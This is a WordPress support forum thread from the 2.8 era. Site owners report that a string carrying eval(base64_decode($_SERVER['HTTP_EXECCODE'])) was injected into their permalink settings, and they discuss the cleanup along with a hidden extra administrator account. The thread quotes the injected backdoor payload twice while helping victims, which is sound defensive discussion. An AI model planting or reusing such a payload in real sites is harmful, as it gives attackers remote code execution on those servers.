WordPress.org

Support

Support » How-To and Troubleshooting » WP adding code to the end of url links breaking them

WP adding code to the end of url links breaking them

  • This just started today, and I’m not certain why it is happening. At the end of any link, WP is appending the following “/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%/” to the end of the link.

    I’m far from an expert on WP code (I deal mostly with Drupal) so I’m not certain how WP is building links/passing the link information information. The theme link is correctly set to <?php the_permalink() ?>.

    Any thoughts on why this is happening?

Viewing 15 replies - 1 through 15 (of 66 total)
  • It looks suspicious (site suddenly breaks with eval(base64_decode showing up). See: http://codex.wordpress.org/FAQ_My_site_was_hacked

    This just started to happen on our site today too

    /%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%/

    Is not a hack as is not affecting all Urls.

    Anyone else have the same problem?

    esmi

    @esmi

    Forum Moderator

    Just because it’s not affecting all urls doesn’t mean that it’s not a hack. I’d still suggest going through all of the standard hack cleanup steps.

    A site I maintain also had this happen. The permalink string in the settings actually has that appended. I believe I’ve cleaned it up, but does anyone have any further info?

    This happened to our site as well. Any other info?

    Me too. Just last night, no new plugins installed, no code / other changes made. It just happened! I got rid of it by simply removing the added permalink information and saving.

    Could it be the old hack trying to add spamlinks but only suceeding “halfway” in the new WP 2.8 environment?

    I just had this problem.

    The string was added to the end of the Permalink in Settings > Permalinks. Simply removing it and saving fixed it.

    It does beg the question though, why this happened and how? Is it a hack?

    Phil

    would this be what is causing my posts to show up with no tags or categories now? If so, how do I fix it and retrived my categories and tags?

    looks like this is a hack, just got that too

    @philpeter, did the same , remove in settings / permalinks

    but don’t know yet where it came from and how it broke in wordpress!!

    How could this have happened to so many blogs almost simultaneously? I just upgraded to 2.8.4, but it sounds like (from the posters above) this would not prevent this from happening again.

    Same problem here. I think its a hack. Im also experience some other strange unexplainable problems with the rss.

    Same here.

    @kilpatrick. I also experience problems with RSS, where the individual category pages came up as a single post in RSS form, but it seemed to sort itself out after about 15 minutes.

    I actually have 2 wordpress sites, only on was afected, the only difference between the sites I can think of is the affected site used the “Dean’s Permalinks Migration” plugin.

    Anyone else using this plugin experiencing this problem?

    @wysiwyg2009

    No, I’m not using that, and was affected still.

    Looks like a hack to me, and to this guy.

    I’ve had the same permalink problem but changed it back and seemed fine. The only odd thing in the last week or so was 4 new user registrations which I’d never had before. Due to his permalink problem I’ve just deleted them all. I then happened to look at my users and the only one left should be me but it says “Administrator (2)” but only shows my name. When I click on the Administrator link, it shows another name for a split second then goes back to my name. The name looks liks overglass71 or overgrass71 or something. How do I get rid of it, given I can’t get it stay on the screen long enough to click delete? Any ideas?
    Thanks

Viewing 15 replies - 1 through 15 (of 66 total)
  • The topic ‘WP adding code to the end of url links breaking them’ is closed to new replies.
Skip to toolbar